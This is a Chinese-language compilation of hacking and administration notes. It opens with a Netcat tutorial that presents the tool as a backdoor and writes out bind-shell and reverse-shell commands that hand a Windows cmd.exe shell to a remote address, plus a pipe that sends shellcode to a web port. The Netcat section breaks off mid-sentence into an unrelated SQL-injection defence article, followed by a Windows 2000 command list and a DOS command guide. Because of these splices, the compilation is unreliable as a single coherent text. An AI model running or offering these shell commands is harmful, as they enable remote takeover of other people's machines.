一个简单而有用的工具，透过使用TCP或UDP协议的网络连接去读写数据。它被设计成一个稳定的后门工具，
能够直接由其它程序和脚本轻松驱动。同时，它也是一个功能强大的网络调试和探测工具，能够建立你需要的几
乎所有类型的网络连接，还有几个很有意思的内置功能(详情请看下面的使用方法)。
在中国，它的WINDOWS版有两个版本，一个是原创者Chris Wysopal写的原版本，另一个是由‘红与黑’编译
后的新‘浓缩’版。‘浓缩’版的主程序只有10多KB（10多KB的NC是不能完成下面所说的第4、第5种使用方法，
有此功能的原版NC好象要60KB：P），虽然“体积”小，但很完成很多工作。
==============================================================
软件介绍：
工具名：Netcat
作者：Hobbit && Chris Wysopal
网址： http://www.atstake.com/research/tools/network_utilities/
类别：开放源码
平台：Linux/BSD/Unix/Windows
WINDOWS下版本号：[v1.10 NT]
================================================================
参数介绍：
nc.exe -h即可看到各参数的使用方法。
基本格式：nc [-options] hostname port[s] [ports] ...
nc -l -p port [options] [hostname] [port]
-d 后台模式
-e prog 程序重定向，一旦连接，就执行 [危险!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 帮助信息
-i secs 延时的间隔
-l 监听模式，用于入站连接
-L 连接关闭后,仍然继续监听
-n 指定数字的IP地址，不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 随机本地及远程端口
-s addr 本地源地址
-t 使用TELNET交互方式
-u UDP模式
-v 详细输出--用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉--用于扫描时
端口的表示方法可写为M-N的范围格式。

===================================================================
基本用法：
大概有以下几种用法：
1)连接到REMOTE主机，例子：
格式：nc -nvv 192.168.x.x 80
讲解：连到192.168.x.x的TCP80端口

2)监听LOCAL主机，例子：
格式：nc -l -p 80
讲解：监听本机的TCP80端口

3)扫描远程主机，例子：
格式：nc -nvv -w2 -z 192.168.x.x 80-445
讲解：扫描192.168.x.x的TCP80到TCP445的所有端口

4)REMOTE主机绑定SHELL，例子：
格式：nc -l -p 5354 -t -e c:winntsystem32cmd.exe
讲解：绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口

5)REMOTE主机绑定SHELL并反向连接，例子：
格式：nc -t -e c:winntsystem32cmd.exe 192.168.x.x 5354
讲解：绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口

以上为最基本的几种用法（其实NC的用法还有很多，
当配合管道命令“|”与重定向命令“<”、“>”等等命令功能更强大......）。
=====================================================================================================
高级用法：
6)作攻击程序用，例子：
格式1：type.exe c:exploit.txt|nc -nvv 192.168.x.x 80
格式2：nc -nvv 192.168.x.x 80 < c:exploit.txt
讲解：连接到192.168.x.x的80端口，并在其管道中发送c:exploit.txt的内容(两种格式确有相同的效果，
真是有异曲同工之妙:P)
附：c:exploit.txt为shellcode等

7)作蜜罐用[1] ，例子：
格式：nc -L -p 80
讲解：使用-L(注意L是大写)可以不停地监听某一个端口，直到ctrl+c为止

8)作蜜罐用[2] ，例子：
格式：nc -L -p 80 > c:log.txt
讲解：使用-L可以不停地监听某一个端口，直到ctrl+c为止，同时把结果输出到c:log.txt中，如果把‘>’
改为‘>>’即可以追加日志
附：c:log.txt为日志等

9)作蜜罐用[3] ，例子：
格式1：nc -L -p 80 < c:honeypot.txt
格式2：type.exe c:honeypot.txt|nc -L -p 80
讲解：使用-L可以不停地监听某一个端口，直到ctrl+c为止，并把c:honeypot.txt的内容‘送’入其管道中
如果攻击者知道应用会将表单中输入的内容直接用于验证身份的查询，他就会尝试输入某些特殊的SQL字符串篡改查询改变其原来的功能，欺骗系统授予访问权限。 　　系统环境不同，攻击者可能造成的损害也不同，这主要由应用访问数据库的安全权限决定。如果用户的帐户具有管理员或其他比较高级的权限，攻击者就可能对数据库的表执行各种他想要做的操作，包括添加、删除或更新数据，甚至可能直接删除表。
二、如何防范？
好在要防止ASP.NET应用被SQL注入式攻击闯入并不是一件特别困难的事情，只要在利用表单输入的内容构造SQL命令之前，把所有输入内容过滤一番就可以了。过滤输入内容可以按多种方式进行。
⑴ 对于动态构造SQL查询的场合，可以使用下面的技术：
第一：替换单引号，即把所有单独出现的单引号改成两个单引号，防止攻击者修改SQL命令的含义。再来看前面的例子，“SELECT * from Users WHERE login = or 1=1 AND password = or 1=1”显然会得到与“SELECT * from Users WHERE login = or 1=1 AND password = or 1=1”不同的结果。
第二：删除用户输入内容中的所有连字符，防止攻击者构造出类如“SELECT * from Users WHERE login = mas -- AND password =”之类的查询，因为这类查询的后半部分已经被注释掉，不再有效，攻击者只要知道一个合法的用户登录名称，根本不需要知道用户的密码就可以顺利获得访问权限。
第三：对于用来执行查询的数据库帐户，限制其权限。用不同的用户帐户执行查询、插入、更新、删除操作。由于隔离了不同帐户可执行的操作，因而也就防止了原本用于执行SELECT命令的地方却被用于执行INSERT、UPDATE或DELETE命令。
⑵ 用存储过程来执行所有的查询。SQL参数的传递方式将防止攻击者利用单引号和连字符实施攻击。此外，它还使得数据库权限可以限制到只允许特定的存储过程执行，所有的用户输入必须遵从被调用的存储过程的安全上下文，这样就很难再发生注入式攻击了。
⑶ 限制表单或查询字符串输入的长度。如果用户的登录名字最多只有10个字符，那么不要认可表单中输入的10个以上的字符，这将大大增加攻击者在SQL命令中插入有害代码的难度。
⑷ 检查用户输入的合法性，确信输入的内容只包含合法的数据。数据检查应当在客户端和服务器端都执行——之所以要执行服务器端验证，是为了弥补客户端验证机制脆弱的安全性。
在客户端，攻击者完全有可能获得网页的源代码，修改验证合法性的脚本（或者直接删除脚本），然后将非法内容通过修改后的表单提交给服务器。因此，要保证验证操作确实已经执行，唯一的办法就是在服务器端也执行验证。你可以使用许多内建的验证对象，例如RegularExpressionValidator，它们能够自动生成验证用的客户端脚本，当然你也可以插入服务器端的方法调用。如果找不到现成的验证对象，你可以通过CustomValidator自己创建一个。
⑸ 将用户登录名称、密码等数据加密保存。加密用户输入的数据，然后再将它与数据库中保存的数据比较，这相当于对用户输入的数据进行了“消毒”处理，用户输入的数据不再对数据库有任何特殊的意义，从而也就防止了攻击者注入SQL命令。System.Web.Security.FormsAuthentication类有一个HashPasswordForStoringInConfigFile，非常适合于对输入数据进行消毒处理。
⑹ 检查提取数据的查询所返回的记录数量。如果程序只要求返回一个记录，但实际返回的记录却超过一行，那就当作出错处理。


Win2000命令全集
accwiz.exe > Accessibility Wizard for walking you through setting up your machine for your mobility needs. 辅助工具向导
acsetups.exe > ACS setup DCOM server executable
actmovie.exe > Direct Show setup tool 直接显示安装工具
append.exe > Allows programs to open data in specified directories as if they were in the current directory. 允许程序打开制定目录中的数据
arp.exe > NETWORK Display and modify IP - Hardware addresses 显示和更改计算机的IP与硬件物理地址的对应列表
at.exe > AT is a scheduling utility also included with UNIX 计划运行任务
atmadm.exe > Displays statistics for ATM call manager. ATM调用管理器统计
attrib.exe > Display and modify attributes for files and folders 显示和更改文件和文件夹属性
autochk.exe > Used to check and repair Windows File Systems 检测修复文件系统
autoconv.exe > Automates the file system conversion during reboots 在启动过程中自动转化系统
autofmt.exe > Automates the file format process during reboots 在启动过程中格式化进程
autolfn.exe > Used for formatting long file names 使用长文件名格式
bootok.exe > Boot acceptance application for registry
bootvrfy.exe > Bootvrfy.exe, a program included in Windows 2000 that notifies the system that startup was successful. Bootvrfy.exe can be run on a local or remote computer. 通报启动成功
cacls.exe > Displays or modifies access control lists (ACLs) of files. 显示和编辑ACL
calc.exe > Windows Calculators 计算器
cdplayer.exe > Windows CD Player CD播放器
change.exe > Change { User | Port | Logon } 与终端服务器相关的查询
charmap.exe > Character Map 字符映射表
chglogon.exe > Same as using "Change Logon" 启动或停用会话记录
chgport.exe > Same as using "Change Port" 改变端口（终端服务）
chgusr.exe > Same as using "Change User" 改变用户（终端服务）
chkdsk.exe > Check the hard disk for errors similar to Scandisk 3 Stages must specify a Drive Letter 磁盘检测程序
chkntfs.exe > Same as using chkdsk but for NTFS NTFS磁盘检测程序
cidaemon.exe > Component of Ci Filer Service 组成Ci文档服务
cipher.exe > Displays or alters the encryption of directories [files] on NTFS partitions. 在NTFS上显示或改变加密的文件或目录
cisvc.exe > Content Index -- It's the content indexing service for I 索引内容
ckcnv.exe > Cookie Convertor 变换Cookie
cleanmgr.exe > Disk Cleanup, popular with Windows 98 磁盘清理
cliconfg.exe > SQL Server Client Network Utility SQL客户网络工具
clipbrd.exe > Clipboard viewer for Local will allow you to connect to other clipboards 剪贴簿查看器
clipsrv.exe > Start the clipboard Server 运行Clipboard服务
clspack.exe > CLSPACK used to create a file listing of system packages 建立系统文件列表清单
cluster.exe > Display a cluster in a domain 显示域的集群
_cmd_.exe > Famous command prompt 没什么好说的！
cmdl32.exe > Connection Manager Auto-Download 自动下载连接管理
cmmgr32.exe > Connection Manager 连接管理器
cmmon32.exe > Connection Manager Monitor 连接管理器监视
cmstp.exe > Connection Manager Profile Manager 连接管理器配置文件安装程序
comclust.exe > about cluster server 集群
comp.exe > ComClust Add, Remove, or Join a cluster. 比较两个文件和文件集的内容＊
compact.exe > Displays or alters the compression of files on NTFS partitions. 显示或改变NTFS分区上文件的压缩状态
conime.exe > Console IME IME控制台
control.exe > Starts the control panel 控制面板
convert.exe > Convert File System to NTFS 转换文件系统到NTFS
convlog.exe > Converts MS IIS log files 转换IIS日志文件格式到NCSA格式
cprofile.exe > Copy profiles 转换显示模式
cscript.exe > MS Windows Scripts Host Version 5.1 较本宿主版本
csrss.exe > Client Server Runtime Process 客户服务器Runtime进程
csvde.exe > Comma Separated Variable Import/Export Utility 日至格式转换程序
dbgtrace.exe > 和Terminal Server相关
dcomcnfg.exe > Display the current DCOM configuration. DCOM配置属性
dcphelp.exe > ?
dcpromo.exe > Promote a domain controller to ADSI AD安装向导
ddeshare.exe > Display DDE shares on local or remote computer DDE共享
ddmprxy.exe >
debug.exe > Runs Debug, a program testing and editing tool. 就是DEBUG啦！
dfrgfat.exe > Defrag FAT file system FAT分区磁盘碎片整理程序
dfrgntfs.exe > Defrag NTFS file system NTFS分区磁盘碎片整理程序
dfs_cmd_.exe > configures a Dfs tree 配置一个DFS树
dfsinit.exe > Distributed File System Initialization 分布式文件系统初始化
dfssvc.exe > Distributed File System Server 分布式文件系统服务器
diantz.exe > MS Cabinet Maker 制作CAB文件
diskperf.exe > Starts physical Disk Performance counters 磁盘性能计数器
dllhost.exe > dllhost is used on all versions of Windows 2000. dllhost is the hedost process for all COM+ applications. 所有COM+应用软件的主进程
dllhst3g.exe >
dmadmin.exe > Disk Manager Service 磁盘管理服务
dmremote.exe > Part of disk management 磁盘管理服务的一部分
dns.exe > DNS Applications DNS
doskey.exe > recalls Windows command lines and creates macros 命令行创建宏
dosx.exe > DOS Extender DOS扩展
dplaysvr.exe > Direct Play Helper 直接运行帮助
drwatson.exe > Dr Watson for 2000 Fault Detector 华生医生错误检测
drwtsn32.exe > Dr Watson for 2000 viewer and configuration manager 华生医生显示和配置管理
dtcsetup.exe > Installs MDTC
dvdplay.exe > Windows 2000 DVD player DVD播放
dxdiag.exe > Direct-X Diagnostics Direct-X诊断工具
edlin.exe > line-oriented text editor. 命令行的文本编辑器（历史悠久啊！）
edlin.exe > line-oriented text editor. 命令行的文本编辑器（历史悠久啊！）
esentutl.exe > MS Database Utility MS数据库工具
eudcedit.exe > Private character editor Ture Type造字程序
eventvwr.exe > Windows 2000 Event Viewer 事件查看器
evnt_cmd_.exe > Event to trap translator; Configuration tool
evntwin.exe > Event to trap translator setup
exe2bin.exe > Converts EXE to binary format 转换EXE文件到二进制
expand.exe > Expand Files that have been compressed 解压缩
extrac32.exe > CAB File extraction utility 解CAB工具
fastopen.exe > Fastopen tracks the location of files on a hard disk and stores the information in memory for fast access. 快速访问在内存中的硬盘文件
faxcover.exe > Fax Cover page editor 传真封面编辑
faxqueue.exe > Display Fax Queue 显示传真队列
faxsend.exe > Fax Wizard for sending faxes 发送传真向导
faxsvc.exe > Starts fax server 启动传真服务
fc.exe > Compares two files or sets of files and their differences 比较两个文件的不同
find.exe > Searches for a text string in file or files 查找文件中的文本行
findstr.exe > Searches for strings in files 查找文件中的行
finger.exe > Fingers a user and displays statistics on that user Finger一个用户并显示出统计结果
fixmapi.exe > Fix mapi files 修复MAPI文件
flattemp.exe > Enable or disable temporally directories 允许或者禁用临时文件目录
fontview.exe > Display fonts in a font file 显示字体文件中的字体
forcedos.exe > Forces a file to start in dos mode. 强制文件在DOS模式下运行
freecell.exe > Popular Windows Game 空当接龙
ftp.exe > File Transfer Protocol used to transfer files over a network connection 就是FTP了
gdi.exe > Graphic Device Interface 图形界面驱动
grovel.exe >
grpconv.exe > Program Manager Group Convertor 转换程序管理员组
help.exe > displays help for Windows 2000 commands 显示帮助
hostname.exe > Display hostname for machine. 显示机器的Hostname
ie4uinit.exe > IE5 User Install tool IE5用户安装工具
ieshwiz.exe > Customize folder wizard 自定义文件夹向导
iexpress.exe > Create and setup packages for install 穿件安装包
iisreset.exe > Restart IIS Admin Service 重启IIS服务
internat.exe > Keyboard Language Indicator Applet 键盘语言指示器
ipconfig.exe > Windows 2000 IP configuration. 察看IP配置
ipsecmon.exe > IP Security Monitor IP安全监视器
ipxroute.exe > IPX Routing and Source Routing Control Program IPX路由和源路由控制程序
irftp.exe > Setup FTP for wireless communication 无线连接
ismserv.exe > Intersite messaging Service 安装或者删除Service Control Manager中的服务
jdbgmgr.exe > Microsoft debugger for java 4 Java4的调试器
jetconv.exe > Convert a Jet Engine Database 转换Jet Engine数据库
jetpack.exe > Compact Jet Database. 压缩Jet数据库
jview.exe > Command-line loader for Java Java的命令行装载者
krnl386.exe > Core Component for Windows 2000 2000的核心组件
label.exe > Change label for drives 改变驱动器的卷标
lcwiz.exe > License Compliance Wizard for local or remote systems. 许可证符合向导
ldifde.exe > LDIF cmd line manager LDIF目录交换命令行管理
licmgr.exe > Terminal Server License Manager 终端服务许可协议管理
lights.exe > display connection status lights 显示连接状况
llsmgr.exe > Windows 2000 License Manager 2000许可协议管理
llssrv.exe > Start the license Server 启动许可协议服务器
lnkstub.exe >
locator.exe > RPC Locator 远程定位
lodctr.exe > Load perfmon counters 调用性能计数
logoff.exe > Log current user off. 注销用户
lpq.exe > Displays status of a remote LPD queue 显示远端的LPD打印队列的状态，显示被送到基于Unix的服务器的打印任务
lpr.exe > Send a print job to a network printer. 重定向打印任务到网络中的打印机。通常用于Unix客户打印机将打印任务发送给连接了打印设备的NT的打印机服务器。
lsass.exe > LSA Executable and Server DLL 运行LSA和Server的DLL
lserver.exe > Specifies the new DNS domain for the default server 指定默认Server新的DNS域
macfile.exe > Used for managing MACFILES 管理MACFILES
magnify.exe > Used to magnify the current screen 放大镜
makecab.exe > MS Cabinet Maker 制作CAB文件
mdm.exe > Machine Debug Manager 机器调试管理
mem.exe > Display current Memory stats 显示内存状态
migpwd.exe > Migrate passwords. 迁移密码
mmc.exe > Microsoft Management Console 控制台
mnmsrvc.exe > Netmeeting Remote Desktop Sharing NetMeeting远程桌面共享
mobsync.exe > Manage Synchronization. 同步目录管理器
mountvol.exe > Creates, deletes, or lists a volume mount point. 创建、删除或列出卷的装入点。
mplay32.exe > MS Media Player 媒体播放器
mpnotify.exe > Multiple Provider Notification application 多提供者通知应用程序
mq1sync.exe >
mqbkup.exe > MS Message Queue Backup and Restore Utility 信息队列备份和恢复工具
mqexchng.exe > MSMQ Exchange Connector Setup 信息队列交换连接设置
mqmig.exe > MSMQ Migration Utility 信息队列迁移工具
mqsvc.exe > ?
mrinfo.exe > Multicast routing using SNMP 使用SNMP多点传送路由
mscdexnt.exe > Installs MSCD (MS CD Extensions) 安装MSCD
msdtc.exe > Dynamic Transaction Controller Console 动态事务处理控制台
msg.exe > Send a message to a user local or remote. 发送消息到本地或远程客户
mshta.exe > HTML Application HOST HTML应用程序主机
msiexec.exe > Starts Windows Installer Program 开始Windows安装程序
mspaint.exe > Microsoft Paint 画板
msswchx.exe >
mstask.exe > Task Schedule Program 任务计划表程序
mstinit.exe > Task scheduler setup 任务计划表安装
narrator.exe > Program will allow you to have a narrator for reading. Microsoft讲述人
nbtstat.exe > Displays protocol stats and current TCP/IP connections using NBT 使用 NBT（TCP/IP 上的 NetBIOS）显示协议统计和当前 TCP/IP 连接。
nddeapir.exe > NDDE API Server side NDDE API服务器端
net.exe > Net Utility 详细用法看/？
net1.exe > Net Utility updated version from MS Net的升级版
netdde.exe > Network DDE will install itself into the background 安装自己到后台
netsh.exe > Creates a shell for network information 用于配置和监控 Windows 2000 命令行脚本接口。
netstat.exe > Displays current connections. 显示协议统计和当前的 TCP/IP 网络连接。
nlsfunc.exe > Loads country-specific information 加载特定国家（地区）的信息。Windows 2000 和 MS-DOS 子系统不使用该命令。接受该命令只是为了与 MS-DOS 文件兼容。
notepad.exe > Opens Windows 2000 Notepad 记事本
nslookup.exe > Displays information for DNS 该诊断工具显示来自域名系统 (DNS) 名称服务器的信息。
ntbackup.exe > Opens the NT Backup Utility 备份和故障修复工具
ntbooks.exe > Starts Windows Help Utility 帮助
ntdsutil.exe > Performs DB maintenance of the ADSI 完成ADSI的DB的维护
ntfrs.exe > NT File Replication Service NT文件复制服务
ntfrsupg.exe >
ntkrnlpa.exe > Kernel patch 核心补丁
ntoskrnl.exe > Core NT Kernel KT的核心
ntsd.exe >
ntvdm.exe > Simulates a 16-bit Windows environment 模拟16位Windows环境
nw16.exe > Netware Redirector NetWare转向器
nwscript.exe > runs netware scripts 运行Netware脚本
odbcad32.exe > ODBC 32-bit Administrator 32位ODBC管理
odbcconf.exe > Configure ODBC driver's and data source's from command line 命令行配置ODBC驱动和数据源
os2.exe > An OS/2 Warp Server (os2 /o) OS/2
os2srv.exe > An OS/2 Warp Server OS/2
os2ss.exe > An OS/2 Warp Server OS/2
osk.exe > On Screen Keyboard 屏幕键盘
packager.exe > Windows 2000 Packager Manager 对象包装程序
pathping.exe > Combination of Ping and Tracert 包含Ping和Tracert的程序
pax.exe > is a POSIX program and path names used as arguments must be specified in POSIX format. Use "//C/Users/Default" instead of "C:\USERS\DEFAULT." 启动便携式存档互换 (Pax) 实用程序
pentnt.exe > Used to check the Pentium for the floating point division error. 检查Pentium的浮点错误
perfmon.exe > Starts Windows Performance Monitor 性能监视器
ping.exe > Packet Internet Groper 验证与远程计算机的连接
posix.exe > Used for backward compatibility with Unix 用于兼容Unix
print.exe > Cmd line used to print files 打印文本文件或显示打印队列的内容。
progman.exe > Program manager 程序管理器
proquota.exe > Profile quota program
psxss.exe > POSIX Subsystem Application Posix子系统应用程序
qappsrv.exe > Displays the available application terminal servers on the network
在网络上显示终端服务器可用的程序
qprocess.exe > Display information about processes local or remote 在本地或远程显示进程的信息（需终端服务）
query.exe > Query TERMSERVER user process and sessions 查询进程和对话
quser.exe > Display information about a user logged on 显示用户登陆的信息（需终端服务）
qwinsta.exe > Display information about Terminal Sessions. 显示终端服务的信息
rasadmin.exe > Start the remote access admin service 启动远程访问服务
rasautou.exe > Creates a RAS connection 建立一个RAS连接
rasdial.exe > Dial a connection 拨号连接
rasphone.exe > Starts a RAS connection 运行RAS连接
rcp.exe > Copies a file from and to a RCP service. 在 Windows 2000 计算机和运行远程外壳端口监控程序 rshd 的系统之间复制文件
rdpclip.exe > RdpClip allows you to copy and paste files between a terminal session and client console session. 再终端和本地复制和粘贴文件
recover.exe > Recovers readable information from a bad or defective disk 从坏的或有缺陷的磁盘中恢复可读取的信息。
redir.exe > Starts the redirector service 运行重定向服务
regedt32.exe > 32-bit register service 32位注册服务
regini.exe > modify registry permissions from within a script 用脚本修改注册许可
register.exe > Register a program so it can have special execution characteristics. 注册包含特殊运行字符的程序
regsvc.exe >
regsvr32.exe > Registers and unregister's dll's. As to how and where it register's them I dont know. 注册和反注册DLL
regtrace.exe > Options to tune debug options for applications failing to dump trace statements
Trace 设置
regwiz.exe > Registration Wizard 注册向导
remrras.exe >
replace.exe > Replace files 用源目录中的同名文件替换目标目录中的文件。
reset.exe > Reset an active section 重置活动部分
rexec.exe > Runs commands on remote hosts running the REXEC service. 在运行 REXEC 服务的远程计算机上运行命令。rexec 命令在执行指定命令前，验证远程计算机上的用户名，只有安装了 TCP/IP 协议后才可以使用该命令。
risetup.exe > Starts the Remote Installation Service Wizard. 运行远程安装向导服务
route.exe > display or edit the current routing tables. 控制网络路由表
routemon.exe > no longer supported 不再支持了！
router.exe > Router software that runs either on a dedicated DOS or on an OS/2 system. Route软件在 DOS或者是OS/2系统
rsh.exe > Runs commands on remote hosts running the RSH service 在运行 RSH 服务的远程计算机上运行命令
rsm.exe > Mounts and configures remote system media 配置远程系统媒体
rsnotify.exe > Remote storage notification recall 远程存储通知回显
rsvp.exe > Resource reservation protocol 源预约协议
runas.exe > RUN a program as another user 允许用户用其他权限运行指定的工具和程序
rundll32.exe > Launches a 32-bit dll program 启动32位DLL程序
runonce.exe > Causes a program to run during startup 运行程序再开始菜单中
rwinsta.exe > Reset the session subsystem hardware and software to known initial values 重置会话子系统硬件和软件到最初的值
savedump.exe > Does not write to e:\winnt\user.dmp 不写入User.dmp中
scardsvr.exe > Smart Card resource management server 子能卡资源管理服务器
schupgr.exe > It will read the schema update files (.ldf files) and upgrade the schema. (part of ADSI) 读取计划更新文件和更新计划
secedit.exe > Starts Security Editor help 自动安全性配置管理
services.exe > Controls all the services 控制所有服务
sethc.exe > Set High Contrast - changes colours and display mode Logoff to set it back to normal 设置高对比
setreg.exe > Shows the Software Publishing State Key Values 显示软件发布的国家语言
setup.exe > GUI box prompts you to goto control panel to configure system components 安装程序（转到控制面板）
setver.exe > Set Version for Files 设置 MS-DOS 子系统向程序报告的 MS-DOS 版本号
sfc.exe > System File Checker test and check system files for integrity 系统文件检查
sfmprint.exe > Print Services for Macintosh 打印Macintosh服务
sfmpsexe.exe >
sfmsvc.exe >
shadow.exe > Monitor another Terminal Services session. 监控另外一台中端服务器会话
share.exe > Windows 2000 和 MS-DOS 子系统不使用该命令。接受该命令只是为了与 MS-DOS 文件兼容
shmgrate.exe >
shrpubw.exe > Create and Share folders 建立和共享文件夹
sigverif.exe > File Signature Verification 文件签名验证
skeys.exe > Serial Keys utility 序列号制作工具
smlogsvc.exe > Performance Logs and Alerts 性能日志和警报
smss.exe >
sndrec32.exe > starts the Windows Sound Recorder 录音机
sndvol32.exe > Display the current volume information 显示声音控制信息
snmp.exe > Simple Network Management Protocol used for Network Mangement 简单网络管理协议
snmptrap.exe > Utility used with SNMP SNMP工具
sol.exe > Windows Solitaire Game 纸牌
sort.exe > Compares files and Folders 读取输入、排序数据并将结果写到屏幕、文件和其他设备上
SPOOLSV.EXE > Part of the spooler service for printing 打印池服务的一部分
sprestrt.exe >
srvmgr.exe > Starts the Windows Server Manager 服务器管理器
stimon.exe > WDM StillImage- > Monitor
stisvc.exe > WDM StillImage- > Service
subst.exe > Associates a path with a drive letter 将路径与驱动器盘符关联
svchost.exe > Svchost.exe is a generic host process name for services that are run from dynamic-link libraries (DLLs). DLL得主进程
syncapp.exe > Creates Windows Briefcase. 创建Windows文件包
sysedit.exe > Opens Editor for 4 system files 系统配置编辑器
syskey.exe > Encrypt and secure system database NT账号数据库按群工具
sysocmgr.exe > Windows 2000 Setup 2000安装程序
systray.exe > Starts the systray in the lower right corner. 在低权限运行systray
taskman.exe > Task Manager 任务管理器
taskmgr.exe > Starts the Windows 2000 Task Manager 任务管理器
tcmsetup.exe > telephony client wizard 电话服务客户安装
tcpsvcs.exe > TCP Services TCP服务
.exe > Telnet Utility used to connect to Telnet Server
termsrv.exe > Terminal Server 终端服务
tftp.exe > Trivial FTP 将文件传输到正在运行 TFTP 服务的远程计算机或从正在运行 TFTP 服务的远程计算机传输文件
tftpd.exe > Trivial FTP Daemon
themes.exe > Change Windows Themes 桌面主题
tlntadmn.exe > Telnet Server Administrator Telnet服务管理
tlntsess.exe > Display the current Telnet Sessions 显示目前的Telnet会话
tlntsvr.exe > Start the Telnet Server 开始Telnet服务
tracert.exe > Trace a route to display paths 该诊断实用程序将包含不同生存时间 (TTL) 值的 Internet 控制消息协议 (ICMP) 回显数据包发送到目标，以决定到达目标采用的路由
tsadmin.exe > Terminal Server Administrator 终端服务管理器
tscon.exe > Attaches a user session to a terminal session. 粘贴用户会话到终端对话
tsdiscon.exe > Disconnect a user from a terminal session 断开终端服务的用户
tskill.exe > Kill a Terminal server process 杀掉终端服务
tsprof.exe > Used with Terminal Server to query results. 用终端服务得出查询结果
tsshutdn.exe > Shutdown the system 关闭系统
unlodctr.exe > Part of performance monitoring 性能监视器的一部分
upg351db.exe > Upgrade a jet database 升级Jet数据库
ups.exe > UPS service UPS服务
user.exe > Core Windows Service Windows核心服务
userinit.exe > Part of the winlogon process Winlogon进程的一部分
usrmgr.exe > Start the windows user manager for domains 域用户管理器
utilman.exe > This tool enables an administrator to designate which computers automatically open accessibility tools when Windows 2000 starts. 指定2000启动时自动打开那台机器
verifier.exe > Driver Verifier Manager Driver Verifier Manager
vwipxspx.exe > Loads IPX/SPX VDM 调用IPX/SPX VDM
w32tm.exe > Windows Time Server 时间服务器
wextract.exe > Used to extract windows files 解压缩Windows文件
winchat.exe > Opens Windows Chat 打开Windows聊天
winhlp32.exe > Starts the Windows Help System 运行帮助系统
winlogon.exe > Used as part of the logon process. Logon进程的一部分
winmine.exe > windows Game 挖地雷
winmsd.exe > Windows Diagnostic utility 系统信息
wins.exe > Wins Service Wins服务
winspool.exe > Print Routing 打印路由
winver.exe > Displays the current version of Windows 显示Windows版本
wizmgr.exe > Starts Windows Administration Wizards Windows管理向导
wjview.exe > Command line loader for Java 命令行调用Java
wowdeb.exe > . For starters, the 32-bit APIs require that the WOWDEB.EXE task runs in the target debugee's VM 启动时，32位API需要
wowexec.exe > For running Windows over Windows Applications 在Windows应用程序上运行Windows
wpnpinst.exe > ?
write.exe > Starts MS Write Program 写字板
wscript.exe > Windows Scripting Utility 脚本工具
wupdmgr.exe > Starts the Windows update Wizard (Internet) 运行Windows升级向导
xcopy.exe > Used to copy directories 复制文件和目录，包括子目录
注：还有一些内部命令，参见2000的帮助文件，都是中文，大家自己看看吧！


DOS命令详解

信息来源：kisslong
（一）DOS 常用命令：
dir 列文件名 deltree 删除目录树 cls 清屏 cd 改变当前目录
copy 拷贝文件 diskcopy 复制磁盘 del 删除文件 format 格式化磁盘
edit 文本编辑 mem 查看内存状况 md 建立子目录 move 移动文件、改目录名
more 分屏显示 type 显示文件内容 rd 删除目录 sys 制作DOS系统盘
ren 改变文件名 xcopy 拷贝目录与文件 chkdsk 检查磁盘 attrib 设置文件属性
fdisk 硬盘分区 date 显示及修改日期 label 设置卷标号 defrag 磁盘碎片整理
msd 系统检测 path 设置搜寻目录 share 文件共享 memmaker内存优化管理
help 帮助 restore 恢复备份文件 set 设置环境变量 time 显示及修改时间
tree 列目录树 debug 随机调试程序 doskey 重新调用DOS命令 prempt 设置提示符 undelete恢复被删的文件 scandisk检测、修理磁盘
不常用DOS命令
diskcomp磁盘比较　 append 设置非执行文件路径
expand 还原DOS文件 fasthelp快速显示帮助信息
fc 文件比较 interink启动服务器
setver 设置版本 intersvr启动客户机
subst 路径替换 qbasic Basic集成环境
vsafe 防病毒 unformat恢复已格式化的磁盘
ver 显示DOS版本号 smartdrv设置磁盘加速器
vol 显示磁盘卷标号 lh 将程序装入高端内存
ctty 改变控制设备 emm386 扩展内存管理
常用命令具体介绍:
一、Dir
显示目录文件和子目录列表，呵呵，这个当然是人人要知道的。
可以使用通配符（? 和 *），？表通配一个字符，*表通配任意字符
*.后缀
指定要查看后缀的文件。 上面其实也可以为“ . 后缀”,例如dir *.exe 等于dir .exe
/p
每次显示一个列表屏幕。要查看下一屏，请按键盘上的任意键。
/w
以宽格式显示列表，在每一行上最多显示 5 个文件名或目录名。
/s
列出指定目录及所有子目录中出现的每个指定的文件名。比win环境下的查找快多了
dir *.* -> a.txt 把当前目录文件列表写入a.txt
dir *.* /s -> a.txt 把当前目录文件列表写入a.txt，包括子目录下文件。
二、Attrib
显示、设置或删除指派给文件或目录的只读、存档、系统以及隐藏属性。如果在不含参数的情况下使用，则 attrib 会显示当前目录中所有文件的属性。
+r
设置只读属性。
-r
清除只读属性。
+a
设置存档文件属性。
-a
清除存档文件属性。
+s
设置系统属性。
-s
清除系统属性。
+h
设置隐藏属性。
-h
清除隐藏属性。
三、Cls
清除显示在命令提示符窗口中的所有信息，并返回空窗口，即“清屏”
四、Exit
退出当前命令解释程序并返回到系统。
五、format
格式化
/q
执行快速格式化。删除以前已格式化卷的文件表和根目录，但不在扇区之间扫描损坏区域。使用 /q 命令行选项应该仅格式化以前已格式化的完好的卷。
六、Ipconfig
显示所有当前的 TCP/IP 网络配置值、刷新动态主机配置协议 (DHCP) 和域名系统 (DNS) 设置。使用不带参数的 ipconfig 可以显示所有适配器的 IP 地址、子网掩码、默认网关。
/all
显示所有适配器的完整 TCP/IP 配置信息。
ipconfig 等价于 winipcfg，后者在ME、98 和 95 上可用。尽管 Windows XP 没有提供象 winipcfg 命令一样的图形化界面，但可以使用“网络连接”查看和更新 IP 地址。要做到这一点，请打开 网络连接，右键单击某一网络连接，单击“状态”，然后单击“支持”选项卡。
该命令最适用于配置为自动获取 IP 地址的计算机。它使用户可以确定哪些 TCP/IP 配置值是由 DHCP、自动专用 IP 地址 (APIPA) 和其他配置配置的。
七、md
创建目录或子目录
八、Move
将一个或多个文件从一个目录移动到指定的目录。
九、Nbtstat
显示本地计算机和远程计算机的基于 TCP/IP (NetBT) 协议的 NetBIOS 统计资料、NetBIOS 名称表和 NetBIOS 名称缓存。Nbtstat 可以刷新 NetBIOS 名称缓存和注册的 Windows Internet 名称服务 (WINS) 名称。使用不带参数的 nbtstat 显示帮助。Nbtstat 命令行参数区分大小写。
-a remotename
